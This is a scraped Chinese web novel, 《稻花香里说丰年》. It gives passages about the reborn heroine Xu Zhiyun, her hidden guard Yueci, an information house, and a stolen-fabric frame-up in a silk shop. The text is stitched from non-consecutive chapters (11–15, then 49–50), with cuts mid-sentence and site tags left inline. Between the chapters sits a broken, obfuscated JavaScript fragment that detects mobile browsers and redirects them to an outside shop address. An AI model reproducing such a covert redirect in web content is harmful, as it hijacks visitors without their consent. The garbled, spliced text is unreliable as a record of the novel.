伙计脸色瞬时变了,凑近许知韵,小声道:“姑娘快别说了,一看你就是从外地来的,我也是好心提醒你,我们东家好多铺子营生,你可不要到处说东家孩子的话。” 许知韵装作惊讶,不解地问:“多谢哥哥提点,可这是何缘故?” 看在一声“哥哥”的份上,伙计又多嘴道:“我们东家无子嗣,想了很多办法都没求来,关于子嗣的话是不能提的,会被打出去的。” 这话可不是乱说的,有那不长眼的,胡乱说何家做了坏事,没根的以后是被吃绝户的。话一出口,何家的管事,青天白日就把乱说的人揍了,就留了一口气。 目光无神,秀雅清丽的少女,手里拎着几包一品斋的点心,静立于街旁。 何家无子嗣,即便相信楚三的话,许知韵也想亲自再来问问。 自生辰日再回到文兴村,每一步都在计划中,可万万没想到岔子出在元硕北身上,竟找不到此人了。 真是让人失望的结果,比不认识还难,竟然是不知晓在何处。 莫不是出了意外,许知韵定了定心,暗自嘲笑着自己,如今真是越活越回去了,为了没确定的事瞎担心。 样样都好的人,怎会过得不好。 兰姨心满意足地拎着买好的酱牛肉出了酒楼,跟许知韵汇合。看着还早,许知韵说着想再逛逛,拉着兰姨又走了两条街也不见累。 兰姨也没扫兴,难得出来透气,兴致也高。 走过热闹的街道,百姓渐少,马车多了起来,这条街上只有几户人家,看着都是富贵人家。 前面棕红色的大门,赫然写着——何府,前世的许知韵也曾来过。 可如今却不能随意进出了,依依不舍的回望,大门依旧紧锁。 心里还是惦念着,这边走路就没注意。 “哎呀。”光顾着回头看了,没成想还有那一样左顾右盼的人,互相撞到了一起。 兰姨也没注意,光看手里的酱牛肉了,想着回去能借厨房做几回牛肉面。 这条街宽些,且人少,哪就能这么巧和对面的人撞上。许知韵与对面的人撞了一下,也没多疼,只是冷不丁的被吓到。 兰姨可是心疼,忙问着许知韵哪里不舒服。 原本心情低落的人,又添了些火。是自己没看好路,难不成对面这人也不看路的。 微微抬了下头,也是位姑娘,英气十足的,束着发,粗布衣衫,破了几处,用粗糙的针脚缝着。 兰姨心放了下来,若是男子多有不便,不过眼前这位看着跟寻常的女子不同。 似那练武的,兰姨嗔怪道:“这位姑娘走路是不看人的,好端端的竟撞上了。” 瞧瞧,明明是她二人没看路,倒怪上旁人了。 许知韵瞧见对面的人后就愣在那了,这人她认识,元硕北身边的暗卫——月瓷。 月甃老远就瞧见许姑娘了,可她偏不往这边看,也不知认不认得自己,只好故意撞上去,引起许姑娘的注意。 自几个月前,莫名地回 12. 了然居 《稻花香里说丰年》全本免费阅读 许姑娘的亲娘倒是先怪罪起她来,真真是一家人。 没法子月瓷只好道:“这位姑娘,对不住了。” 愣住的许知韵,注视着月瓷冰冷地脸,捏紧拳头,指尖泛白,勉强稳定了情绪,慢慢地道:“不妨事,我瞧着姑娘眼熟,像是见过。” 许知韵清楚前世的月瓷对自己有诸多不满,就是这一副冷漠冰霜的脸。若月瓷在,那元硕北定也是在她身边的。 月瓷拱手道:“巧了,我瞧姑娘也面熟。” “那真是巧了。” 两人心下了然,月瓷不知现下该不该问些公子的事。 这边许知韵却欠了欠身,挽着兰姨转头走,不经意地道:“兰姨,我们快回吴记绸缎庄,晚了怕那婆子会怪我们。” 既然见到了月瓷,一切就不能急了,不好当着兰姨的面多说些什么。 吴记绸缎庄。 逛了一日,绣娘们很是满足,拿着新买的簪子脂粉,到处串门。 兰姨也将买的糕点分给雁绣娘,她这一日并未出门,老老实实呆在屋子绣活计。 耐得住寂寞的人少之又少,难上加难,想来以后龙口镇的绣坊定是她接手了。 时值深夜,三更已过。 听着兰姨均匀的呼吸声有了一刻钟,许知韵小心翼翼地穿好衣衫,轻轻打开房门。 不出意外,大树旁站着月瓷。 白日许姑娘走后,转头朝她点头,月瓷更加确定,许姑娘也记得所有事。 “此地人多,去别处。”说完许知韵便做好被带飞的准备。 肩膀一压,瞬时高飞。不止一次了,次次不适应。 不多时,便落在一处无人的院子内。 周围更显幽静,趁着夜色方看清周围的样子。 破败,荒凉。 “许姑娘,这边请。” 月瓷说着便将人领进自己的居所,不需要上锁的房,轻轻一推就开了,点燃的蜡烛,荧光点点。半矮的木板床堆在角落,灰扑扑的小桌上放了几个缺了角的碗,比冷宫的环境还要差几分。 想想以往的月瓷跟着元硕北,吃喝不愁,哪受过银钱的苦。 难不成元硕北也过着这样的日子,正这般想着,就听月瓷试探着问:“许姑娘也不知公子的下落。” 白日见许姑娘望穿秋水般的看向何府大门,就猜到了。 原来月瓷也不知元硕北的下落,许知韵更加失望。 许知韵沉默了片刻,才道:“看来他真的不在何府。那你是怎回事,若是重来一世,你为何还认得我?” “凌州冷家的药,说是用之百年间的事皆不忘。公子寻到了一颗,让我服下,命我护许姑娘周全。” 又是冷家,好生厉害,不过现下消失的无影无踪。 “你回来是何时,在何处?”许知韵接着问。 “几个月前,突然间回到南临的一处小巷子内,莫名其妙地。之后我便先回何府,可何府的人却都不认得我了。” 连月瓷都不认得了,看来一切真的变了,与前世不同了。 究竟为何,看来只有叶尘游能给出答案。 许知韵接着问道:“闯皇城那日你在么?可看到我。” “在,看到许姑娘胸口受了箭伤,公子抱着姑娘去了皇宫内的鹿苑。等在里面的是叶公子,随后打开鹿苑的地宫,让我守在门外。里面发生何事,我并不知晓。之后的记忆便是回到南临了。” 果然是叶尘游,是他的法子,那他之前说的那些皆是真的。许知韵一直当他胡说的,根本就没在意。 鹿苑是为宜静太妃所建造的,想来是她的娘家花家建造的地宫。 太多的事超出自己的认知,目前硕北也不知在哪,想来寻找叶尘游也不会容易的。 白日见月瓷,就没看到她的佩剑,何家花不少银子打造的,剑柄上还镶有一颗少见的蓝宝石,想来是卖了。 家徒四壁,衣衫褴褛。这卖剑的钱能用在何处。 “去过了然居?” 月瓷没有太多惊讶,许姑娘观察的细致入微,看自己并未持佩剑,该是想到了。就如实答道:“去过。” 了然居,知百事,解忧愁。但贵的离谱,一问百两不止,随问加价。 “你这一问,花了多少。” “三百两。” 想来这三百两没问出什么,算是打水漂了。趁着离天亮还有些时候,许知韵打算再去一趟。便拿出一块黑色的面纱戴上,与月瓷前往了然居。 了然居位于城东最热闹的巷子里,烟花之所,秘密甚多。整条街灯火通明,莺歌燕舞,车来车往。 许知韵前世来过,熟门熟路地走过芳香馆,穿过长廊,就见两个五大三粗的打手立于长廊尽头。 “有何事,看清楚路再走,别走错了。”粗犷的嗓音和身材倒是相配,其中一个打手不客气地道。 “银钱开路,自是来解谜的。” 两个女子,一个瘦小柔弱,一个像是练武的,具是衣衫破败,也不知想问什么,带没带够银子。 两个打手互相轻蔑地点了下头,侧开身子,让许知韵与月瓷进去了。 来者是客,不能挡着了生意。 走过二门,迎上来的是华丽衣衫的女子,细细柔柔地道:“两位贵客,这边请。” 将二人领到里间,又倒了两盏茶,不疾不徐地问:“请问有何困扰,了然居的规矩,先问而估价,若觉得价钱合适,付银子,答案自会奉上。若觉得价钱不合适,只需给茶水钱即可离开。” 许知韵抿了口茶,清香入口,浓淡相宜。 可别小看这两盏茶,一盏要一百两。就是你来到这,问不问都是花钱的。 前世,许知韵就觉得这生意,实实在在是好买卖。进了这门,分文不花是不可能的。若你想要的答案太贵,给不起。也不能耍人家玩,还要给些茶水费。 别小瞧水灵灵地姑娘,待客时是温柔的,若你想抬屁股走人,她可就会换一副面孔。 “规矩我都懂,我要做的买卖,你作不得主,叫戚容过来。”许知韵不想耽误时间,微笑道。 竟知晓东家名讳,瞧着这姑娘年纪小,倒是够稳重,平静的模样真瞧不出来是何门道。待客姑娘懂事地行礼,告退。 月瓷紧张地坐在那里,今日见许姑娘一身朴素的打扮,就知她手头也不富裕,腰间的 13. 留南临 《稻花香里说丰年》全本免费阅读 “戚老板,灯下黑啊,你就如此确定吗?”许知韵小声道。 “姑娘这般确定。看来是知晓私生子是谁了?”戚容一再地试探。 何家,私生子,这确实是后面的计划,只不过还没执行,所有人都在等待时机。这位姑娘是如何知晓的,未免知道的太多了,要不要直接杀了她。 毕竟只有死人的嘴才是最安全的。 看出戚容眼底闪过杀意,许知韵不慌不忙地道:“当然。不然怎么跟戚老板谈合作。” “合作?”真是意外,眼前的姑娘与自己交谈,坦然又熟悉,不像是头次见面,倒觉得是多年的好友,不禁问道,“总觉得姑娘眼熟,不知以往是否见过。” “戚老板,想多了,头回见。只是熟悉了然居的规矩。”许知韵喝了口茶,肃容道,“戚老板,不必再试探了。虽说戚老板背后的人皆是厉害的,但我们也不是吃素的,多我们一份力量,也就是多一份保障。既然我们有共同的目标,为何不联手呢?” 戚容内心忐忑,这姑娘说的话模棱两可的,也不知她了解多少,还是来这忽悠人的。背后哪些人,当真都清楚吗?这姑娘到底是何人,是敌是友。 “是友。”像是猜出戚容的疑问,许知韵直截了当的回答,“戚老板所求之事,亦是我所求之事,这大事不只是你们想完成。” 不等戚容再次追问,许之韵站起身来,扶了一礼道:“头次上门来就谈合作,确实不能让戚老板信服,无妨,可以给戚老板考虑的功夫。下次我再来,希望能听到好消息。” 许知韵瞟一眼月瓷,示意他“赶紧走”。 戚容还在疑惑,眼前的姑娘就要离开了。 门外的曲幽瞧着东家未曾言语,就放二人离开了。 出了芳香馆,许知韵小声与月瓷道:“快走,此地不宜久留,送我回吴记绸缎庄。” “是。” 戚容虽心里犹疑,却也派人盯着二人,缓了好一会,拍着大腿惋惜地道:“动手杀了就好了。” 回到绸缎庄的许知韵安慰月瓷:“你家公子定是安全的,戚容背后的人应当知晓他在何处。你先放心,回去吧,这几日你多注意,戚容会盯着咱们的。” 元硕北活着,这就很好。她总害怕元硕北以命换命才保全自己重来一世的。 戚容一听到何家,就遣曲幽出门,看来还是有所顾忌,私生子的事没准真让许知韵猜对了。他们想让元硕北以何家私生子的身份出来,看来还是中间有了疏忽,导致硕北没在何家长大,只好先隐在后面,待时机成熟才出面。 一想到戚容听后发懵的脸,许知韵就想笑,喜形于色的家伙,所经历的事还是少,火候还是没到位。 拿话一炸,脸上就暴露了。毕竟这么大的秘密,咋一听难免心慌,竟然被一姑娘知晓,可是要前思后想一番。 深夜,骤然起风。 月瓷回到破败的小屋里,屋内桌子上放着二两银子。想来是许姑娘留下的,月瓷拽了拽破洞的衣服,着实寒酸了些。 今日与许姑娘去了然居,没花钱银子倒是出乎意料的。她自是相信许姑娘的话,公子是聪慧的,定是在别处筹谋。 ——— 了然居,草堂。 屋内的蜡烛被开门带来的风,吹的轻闪,晃晃悠悠似灭不灭的。 矮桌前看书的老者,忍不住叹气:“容儿,你这般来来去去,我都无法看书,你又有何事。” 进门的戚容讪讪地道:“周老,我实在是睡不好,今日我是不是做错了,不该放过那二人,堂主说我大意了,可我想先查清楚她二人的来历,再行事。” 被许知韵口中的合作吓到后,就将此事上报给堂主。 毕竟事关重大,这么多年的计划竟被人知晓,还是一外人,了然居都不知晓此人的存在。 费心掩盖的身份,一下就被人捅破了,这种心情着实不太美好。 老者翻了一页书,心里算着戚容这话念叨几遍了。 五遍了,整整五遍。从子时开始,他已经六旬了,早该睡下了,可这小子一遍一遍地过来,怎能睡得安稳,索性看起书来。 “已派人去查两位姑娘的身份了,她二人也没离开南临,一切都不晚。”老者忍着困意,依旧安慰着戚容,毕竟只有这臭小子肯给他酒喝。 有求于人,平时更要善待之。 “小姑娘看着年纪小,可那沉稳劲,着实够唬人的。还有她身边的姑娘,看着就是会武的,万一功夫高,我的小命岂不是要砸了。”戚容一会懊恼,一会捶胸,反正嘴是没停过。 强支撑着身躯,眼已假寐。这一夜,周老是甭想睡了。 ——— 院内的槐树,安静入眠。只有微风轻轻摩挲着树叶,似乎悄声地叙说着一天的疲惫。 许知韵轻手轻脚地出了房门,瞧见月瓷安静的站在树下。 将一包袱递到月瓷面前:“快新年了,这几日改了一套新衣,你拿着穿。还有两个帕子,拿到烟花巷卖掉,打一把称手的剑。” 月瓷连忙托辞,不好拿许姑娘的东西。“拿着吧,硕北让你护着我,那你不是应该听我的吗。让你拿着就拿着。 “是。”月瓷不太情愿地收起包袱。 “戚容盯上我们了。”似乎是肯定的语气,许知韵也想听一听结果。 “嗯,派了人一直盯在绸缎庄附近。我甩掉了几次,跟着的人不少,但都没动手。”月瓷规矩地回答着。 “我的身份好查,想来这几日没动手,是还没查出来你的身份,有所顾忌吧。也好,我们还能安全些。”看来月瓷这一世的身份是个迷,也许只有叶尘游能清楚。 目前对于许知韵来说,硕北存在,就是最好的消息了。 “月瓷,你其实有选择的,可以跟着戚容,只要时候长了,他们也就信任你了,早晚会见到你家公子。若你跟着我,想见你家公子会难些。”许知韵决定还是要将事情说清楚,让月瓷自己选择。 “公子让我护许姑娘周全,这便是我的差事,我定会做好的。”月瓷拱手道。 话音刚落,人影全无。许之韵叹气,以后要经常面对一张冷脸了,不过冷脸武功高,瞧瞧这会儿功夫就不见人影了。 除夕将至,整个大翎都沉浸在热闹之中。南临的风俗与北边多有不同,但欢庆佳节的心情是一样的。 绸缎庄内也是喜庆,早早的就挂起红灯笼。 绣娘们是一刻不清闲 14. 劝兰姨 《稻花香里说丰年》全本免费阅读 除夕这日,噼里啪啦炮竹声响了一整天,得了厚厚红封的绣娘们更是高兴。 兰姨手上留不住银子,给许知韵买了发簪和两套新衣,好容易有些银钱也买了不少花样精致的小点心。 除夕夜,南临吃的是汤圆,白胖胖的糯米团子夹着黑芝麻,香甜可口。 前世,倒也是吃过。一切似乎未变,却也在改变。 许知韵每日都在真实与恍惚间行走,前世的过往倒真如梦一般。 热闹了几日,还未过十五,蔡管事又开始分派活计了,要的不多,可在自个儿屋里绣,累了也可随时休息。 过年期间的饭食,相当丰富,鸡鸭鱼必不可少,时令蔬菜也是新鲜可口。 绣娘们围在一起叽叽喳喳的,女人多的地方确实吵闹。 “这几日吃得太多了,瞅瞅我的腰足足胖了一圈。” “我也是,在绸缎庄的日子真舒适,累是累点,可没有家里那些烦心事。” “说的是啊,年年过年最是辛苦了,可我好想爹娘。” “你急啥,这不过了十五,我们就都回家了。” 思乡情切,离家的游子总是要想家的。 “可不是我们所有人,有的人啊,早想好了留在这享富贵了。忘恩负义学得最快。” “是呀,是呀。”几个绣娘用帕子掩着嘴笑,不约而同地看向许知韵。 这些天,许知韵想留在南临的事,被孙绣娘的快嘴传得人尽皆知。 兰姨听到后是坐不住的,站起来就要反驳。 好虎架不住一群狼,一张嘴怎能驳过恶语。况且兰姨还是个不善言辞的。 眼疾手快地拉着兰姨回到自己的屋里,许知韵只能安慰着气急的兰姨:“只是被人说几句,不妨事的。” “这个烂嘴的,胡乱编出话来,若是人人都信了,阿韵你的名声就不好了,我这就回去,跟她掰扯掰扯。”兰姨越想越气,自个儿好容易养大的娃娃,善良知心的,可不能叫人平白污了名声。 “兰姨,我确实想留在南临,孙绣娘说得没错。” “为何,阿韵,我们的家是在龙口镇,总要回去的。邱掌柜对咱们也不错,也算是个靠山,不会让咱们受欺负的。”兰姨还是想在熟悉的地方安稳地过日子。 院内的槐树,也因过年被挂上红绸子,红红绿绿的也是好看。 许知韵抓起桌上的花生吃起来,有些打趣地对兰姨道:“兰姨,想回绣坊,是想早些见到潘教谕吗?” “胡说。”兰姨这回急了,连忙解释,整张脸憋的通红,“阿韵,我并不想见到潘教谕。” 许知韵真心地道:“兰姨,我已经长大了,若是你有心仪之人,也该成家了,我定是欢喜的。” “我没有。”兰姨着急地又仔细解释,甚至激动地站起身来,“潘教谕与我也就见过几面,并不了解。” 看着许知韵真切地关心,兰姨也直说道:“我瞧那潘教谕着实严肃,瞧着心里都发抖。还有他的夫人也就离世一年,就这般急着托人来问,看样子也不是个长情的。” 果然如此,许知韵之前总觉得兰姨没表现出对潘教谕的喜欢,但总能从邱掌柜嘴里听到几句有关二人眉目传情的话来。 邱掌柜的确存了心思,想让兰姨与潘教谕喜结连理,这样她的绣坊就能更加安稳,又多了一个靠山。 “兰姨不喜潘教谕,可若是回到龙口镇,邱掌柜想必会为潘教谕保媒,那时兰姨该如何应对。”既然不喜欢,那许知韵就将话说明白些。 “啊,怎会,我与邱掌柜提过的,并不想成家的。”兰姨有些拿不定主意,她确实找邱掌柜提过此事,也拒绝了,但邱掌柜却说一个人不容易,让她再好好想想。 绣着兰花的帕子快被兰姨搅烂了,风韵犹存的一张脸扭在一起。 “我们留在绸缎庄,不回龙口镇,这婚事就能躲过去了,也不会与邱掌柜闹得不愉快。学了好些新针法,回头绣些好东西捎回去,我们与邱掌柜的情义也还在。如此可好。”扶着兰姨坐下,许知韵轻生细雨地道。 兰姨想了想,觉得这主意不错,笑着说好。 许知韵前世就想不通,兰姨是被父母娇养长大的,要不是家里出了变故,她也会被夫家娇养到老。 可就是这软绵的性子,这是下定多大的决心,才决定独自一人将孩子养大的,这其中受了多少苦。 心思还如此单纯,几句话就能稳住她,唉,也不知该不该欢喜。 无雪的正月,从小生活在北边文兴村的许知韵多少有些不适应。 她记得漫天大雪的文兴村,雪花飘落,犹如梦境。一场雪后,整个村子白花花地晃人眼。 明儿个就是元宵灯会,绸缎庄东家允许绣娘们晚些时候出门看花灯,得了信的绣娘们立马激动起来,便张罗着寻衣裳首饰,好好打扮一番。 响午歇息时,孙绣娘站在槐树后,紧盯着进了屋的许知韵。 绣娘们都聚在一起商量着明晚去哪看花灯,偏许知韵这个小丫头偷摸地回了屋。 看看她到底有何事,平时贬低她就跟听不见似的,反倒是自己像个疯婆子一样在那乱叫。 原本还和她一起嘲讽许知韵的几个绣娘,看到她只是安静做活计,无论说多难听的话,她也没甚表情,就像打到棉花上,无趣地紧。 渐渐地,大家伙儿觉得许知韵年纪小若能留在绸缎庄是个好出路,这般小的年纪有这样的打算,是有先见之明。话锋一转,就开始夸她沉稳懂事。 也就几日的功夫,她许知韵的风评就变了,从忘恩负义到勤勉踏实。 从同一个地方出来的孙绣娘是看不过去的,凭什么她想来南临,就能抢了原就定好的位置,凭什么她又想留在南临就能留下。 眼瞧着许知韵匆匆走出屋,四下无人,孙绣娘大着胆子进了许知韵的屋里。 与自己的屋里差不多的格局,床铺整洁,可枕头下有一块露出来的帕子。 孙绣娘小心地拿出来瞧,匆忙地捂住嘴:“呀,这是...” 日落西山,垂花门旁的影子也渐行渐远。 元宵节这日,吃过汤圆的绣娘们,赶忙去整理绣品,上交好布料,便赶回屋里穿衣打扮,晚些时候就出门看花灯。 珍贵稀有的布料,大多是蔡管事整理,若有需要才会登记发放,用多少还回来多少,都是有定数的。 今日大家伙儿着急,可专管绣娘们布料的蔡管事迟迟未露面。平时早早地等着绣娘们理好料子,接着再道一句“辛苦”, 15. 聚河坊 《稻花香里说丰年》全本免费阅读 槐树上几只鸟儿叽叽喳喳,看热闹这事万物都感兴趣。 既然许知韵不在意查验,蔡管事就派了两个粗使婆子去许知韵的屋里搜查。 没一会儿,婆子将屋里的两个包袱并几件衣服拿了出来。 并未发现凌春纱,搜查的婆子说着没有,蔡管事松下了心。 跟东家说好了,许姑娘有意留下。东家也满意,万一这偷料子的是她,东家会怪她识人不清,幸好不是。 看来许姑娘并无不妥,蔡管事刚要发话,孙绣娘急忙地穿过众位绣娘,进到屋内,打算翻找。 怎会,明明放到被褥下,怎会没有。 今日一早,孙绣娘借着拿布料的功夫,就将内室里放的凌春纱夹到已经登记的布料里,趁着蔡管事忙碌的功夫带了出来,又赶着无人时,将凌春纱放到许知韵的被褥下。 怎会没有呢? 孙绣娘的一番举动,震惊了所有人,许知韵嘴角轻笑,还以为多沉得住气呢。 绣坊里的绣娘,手脚不干净,定是会被撵出去的。 孙绣娘不信自己亲手放的凌春纱会不翼而飞,定是蔡管事有意包庇她,她必须当场指认许知韵偷料子,这样她就会被赶出绣坊的。 她冲进屋,一把掀开被褥,空空如也。 可眼睛一转,瞧到桌子上被翻出的手帕,抓起两条帕子,就往外跑,一脸得意,大声喊道:“蔡管事,瞧瞧这帕子,许姑娘可真大胆,裁了凌春纱做了帕子,可惜了这上好的纱。” “真是她拿的呀,胆子可真大。” 人群顿时炸开了,一窝蜂地开始诋毁许知韵。 蔡管事面露怀疑,一把拽过孙绣娘手里的帕子,仔细一瞧,哪就是凌春纱,分明就是上好的花纱,递给身边的婆子,严肃道:“孙绣娘可知,绣娘的第一课就是识料子。这就是上好的花纱,这也能认错,给各位绣娘们看看,也都长长记性。” 底下的绣娘们仔细瞧了,也都闭嘴了。 兰姨早知道这几个帕子,料子是阿韵刚来时,就和蔡管事买的,刮了丝的的废纱。 “是吗,那是我看错了,可这丝也是昂贵的,不想许姑娘买不起簪花,倒是买得起花纱。”孙绣娘仍旧不放弃任何机会。 那日看到枕头下的手帕是这好纱时,就认定是许知韵顺的,趁此机会揭发她,她定会被处罚的。 可这纱在绸缎庄并不算贵重的,看着蔡管事有意抬举她,或许责骂几句都不会有。 便宜料子不在意的话,若是库房的凌春纱呢,偷了凌春纱,那就不一样了,许知韵会被撵出绸缎庄的,龙口镇的绣坊也呆不下去的,这才解气。 “既然大家伙儿都有疑问,今个我就说清楚,你们刚来时,许姑娘就跟我买了这刮了丝的废纱,说想绣些帕子,卖些钱,贴补一下花销。库房有帐可查。” 蔡管事叫人去拿账册,让大家伙儿传看了,孙绣娘无话可说。 风向变得也快,现下都夸帕子上绣的金鱼好看,双面绣还是不同色的,很难不被夸。 “绣些小玩意儿,实在是拿不出手的,让各位姐姐见笑了。”许知韵欠了欠身,谦虚道,“不过那凌春纱当真不是我拿的。” 哎呀,凌春纱是谁拿的,大家伙儿不就是被这事绊住脚的么。 被许知韵提醒,大家伙儿又开始将注意力转到凌春纱上。 蔡管事适时的发话:“既然搜了许姑娘的屋,为了一视同仁,也为了大家的清白,就都搜搜吧。” 尽管有诸多不乐意,也不能阻止人去查看,要不就是做贼心虚了。 孙绣娘越发不安,她明明将凌春纱偷拿出来,放到许知韵的屋里,怎会凭空消失,心下不安起来。 这时,翻找的粗使婆子惊呼道:““管事,凌春纱找到了。” “啊,在哪。” 婆子回话的声音骤然大起来:“在孙绣娘的被褥下,发现了凌春纱,查了记号,是库房里的丢的。” “天啊,是她。” “怪不得呢,她还贼喊捉贼,说是许姑娘,这人啊。” 今日的风真大,吹的也乱,东南西北风的,没个定性。 孙绣娘似乎被吹懵了,一个踉跄地倒下,倒是没见一个人去扶一把。 垂花门外,来了个打扮精致的丫鬟,在蔡管事身边耳语了几句,孙绣娘就被关进了柴房。 被拉走时,她像是反应过来,哭嚎着:“不可能,不是我,不是我。是许知韵偷的,放到我屋里的,定是她,快把她抓起来。” 因这事,出门赏灯的计划被取消了,气得绣娘们齐齐地骂孙绣娘。 人群来的快,散的也快。似乎不记得前些日子与孙绣娘的姐妹情深,只晓得她是个品行不好的绣娘。 在人群四散开来时,谁都没注意房顶上趴着的人,月瓷从头看到尾,真是无趣极了。 要是她的想法,直接把那个嘴碎黑心的孙绣娘扔河里,一了百了,还废劲把什么布料子换个地方。 兰姨将搜出来的东西放回去,桌子上摆着蔡管事送来的点心和一匹上好的布,说了好些安慰的话。 这南临是能留下了,重来一世,许知韵就觉得自己的心胸宽广不少,被孙绣娘烦扰诋毁多日,都没想过动她。 若不是总被她盯着,还想法子栽赃陷害她,许知韵真是不想搭理孙绣娘。 想破坏许知韵的计划,这要是搁以往,直接扔到河里了事,何需弯弯绕绕地看傻子做傻事。 心善了,事做起来也费劲了。 眼瞧着过了十五,北边两地的绣娘们就要回去了,依依不舍的同时又盼着早日归家。 可没想到的是宫里传出消息,给三位皇子选妃,各地正六品官员家及笄的姑娘皆可参选。 一石激起千层浪,有些官员正愁无机会升迁,就送来了好消息,自家姑娘选上了,这前程有望了。 这么一来,成衣店绸缎庄就忙碌起来,秀女们的衣服首饰定是要新做的,要最时兴的样子。去奉京,衣着就要华丽些,才不失面子。 原本要回的绣娘们,被留下来赶制新衣,东家许诺会多给一倍的月例银子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914796|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硕北,他并未往她这边看去,只是躬着身子等着几人放过他。 可适才看过一场博斗后,真的不想让元硕北留在此处,今日是赢了未受伤,那明日后日呢?若对手是个更厉害的人物呢?他能保证每次都不受伤吗? 不行的话刚想说出口,那边的馨宁公主忙道:“留在此处,能有何前程,何不跟我哥哥走,定比你现在要好,你可仔细想清楚了。” 许知韵抬步挡了过去,不示弱地道:“怎么,他不跟你走,你就威胁他。” “我何时威胁他了,是让他好好考虑,再说了他也没说跟你走,你急什么。” “跟着你们就有前程了?你现在也没说清楚你们是哪家的,说出来啊,要真是厉害,我还帮着你劝劝。” 许知韵就直愣愣的瞅着,馨宁公主急得用手绞着衣衫,恨不得冲过来与许知韵撕扯一番。 “你…你…”馨宁公主的话在嘴边却不能说,痛苦只有她自己懂。 旁边的三皇子无意闹出大动静,只好拱手道:“是我们与二掌柜的无缘,先走一步。” 说着便拽着馨宁公主走了,馨宁走得不情不愿的,狠狠地挖了一眼许知韵。 许意延一瞧人走了,赶忙也拽着许知韵:“妹妹,不可强求,我们也回家吧。” 许知韵是不想的,看着一直躬身的元硕北,当真不忍心。心里盘算着,要不先回去,再想法子,至少知道人在这里。 刚想点头答应,便看到窗外有一人影闪来,正搭弓射箭。 瞬间箭矢朝许意延射去,没多想一下,许知韵就将身体挡在许意延前面,只是盼着自己的身体能挡住,心里唯一的想法就是不可让大哥再受伤。 恍惚间,又一人影将二人推开,箭射了过来,正中这人胸口。 “啊,石头。” “二掌柜的。” 被推倒在地的许知韵,不愿相信被箭射中的人是元硕北,直接呆愣住了,许意延缓过神来忙将妹妹扶起。 见不远处被射中的元硕北,嘴角溢出血来。 为何会推开她挡过来,他也记得她吗,是怕她受伤吗? 房内瞬时慌乱,大掌柜的让小厮去找大夫,许知韵知晓这箭头上淬了毒,寻常大夫是治不了的。 此时是救硕北出搏斗场的机会,许知韵冲着大掌柜道:“好啊,你敢杀兵部尚书之子。” “这,我…我哪敢啊。” “那刚才那人是谁,你倒是说啊,你们是一伙的。” “这,真不知晓。姑娘,真不是我,要不我这二掌柜也不能跑过去救你们啊。”大掌柜急得直摊手。 “这说明他跟你们不是一伙的,他知晓你们的计划,不忍我们平白受伤才不忍救我们一命,大哥去报官。” “别别别,姑娘,你如何能信。” “将二掌柜交给我,等他好了,说出实情再处置你。” “可石头他受伤了,我们是要救人的,定是不能将人给你的。”此时大掌柜已经收起了和善面孔,坚决道。 “人我会救。” 50. 又遇刺杀 夜色幽暗,一场刺杀,静悄悄地来,又静悄悄地离开,并未惊动太多人,只余下这间屋子的慌乱。 不知石头哪根弦搭错了,竟不顾自身安危救这二人,真是糊涂。 即便是兵部尚书又如何,谁人背后没靠山,他可不敢将石头的生死交由他人。 正当大掌柜想叫打手将屋内二人赶出去时,看到躺着地上的二掌柜艰难的朝他微不可查地点了下头。 这是同意要和男扮女装的姑娘走? 大掌柜领会,迫于无奈道:“好,你们将人带走吧,但丑话说在前头。若是人出了事,不管是几品大员,我们这小小搏斗场也是要上门找个说法的。” 许知韵没理会他,只要将人带出去就好,眼下也顾不上变化如此快的大掌柜。 明明适才的大掌柜收起和善面容,仿佛要露出吃人的獠牙来,又立马收回了。 “大哥,帮我将人抬上马车,我们回家。”许知韵看向愣怔住的大哥,急忙道。 “好。” 大掌柜的在后头一眼不漏地看着,他们将人带走了。心里慌乱一团,可如何是好,为何会这样?他该如何交代今日之事? 马车上,许知韵对小厮齐鸣吩咐了几句:“去乱支巷找一个叫“包好”的铃医,与他说是咱们府里有他感兴趣的病人,要他速来。” 车内躺着的元硕北昏迷着,许知韵握着双手让自己冷静,那个铃医会来的,也会治好硕北的。 脸色依旧煞白的许意延,靠在车内一边,眼前是中了箭的二掌柜,还有焦急万分的妹妹。 今日生辰是最乱的一日,有人想要杀他,回家没多久的妹妹要替她挡箭,而这个突然冒出来的二掌柜又替妹妹挡下这一箭。 他活了十几年,一直青云直上、顺风顺水,在家父母对他关怀备至、体贴入微,他只需要读圣贤书就好。在外他好善乐施,从不与人红眼,同窗之间相谈甚欢、相互扶持。 可就是今日,一支箭朝他射来,有人想要他的命,仿若打破多年来的平静。 此刻的许意延觉得这一切不像是真的,或许睡一觉醒来一切就正常了。 许意延的脸都要拧在一起了,许知韵倒是理解他,即便是学过六艺的君子,箭也从未射向过活人。是被保护的太好了,不食人间烟火,陷入到莫名的恐怖与怀疑中了。 许知韵直接打断了他的思绪:“大哥,可在外面结仇了。” 结仇?并未。 妹妹的话点醒了他,这一切都不是梦,是真实存在的。 他摇头,又如惊弓之鸟:“妹妹,真的是有人要杀我吗?可我不曾与人结仇啊,这是为何?我想不明白?” 看吧,一首诗或是一个注释都要研究到底的书生,放在读书上必会成大儒,可若在旁的事上,会陷入沼泽拔不出来的。 “大哥,身在帝王之家都不能保证安全,又何况是你我这般普通之人。此事莫要在纠结为何,这些日子出门要多带些小厮才好。” 回程的路上,换成许知韵成老妈子了,一面要顾及元硕北,一面又要劝着许意延别钻牛角尖。 看来前世那一箭就是冲着许意延来的,故意弄出偷盗一事来遮人耳目,这件事前世就是糊涂了事的,如今可不行了,不查清楚,许意延还会遇到刺杀。 马车正往家里赶,来时车夫熟悉了路,回去就快了不少。 没多时便到了,许意延赶忙下车喊人过来帮忙,闹闹哄哄地惊动了许良友与秦氏。 此事也没想瞒着两位能作主的人。 这边许知韵让人将元硕北抬到前院的客房,请了府医先过来清理他的伤口,期间元硕北一直未醒。 许知韵真的想将他脸上碍事的面具拿下来,又想着搏斗场大掌柜不正常的态度,还是忍住了,没准这又是他的新身份。 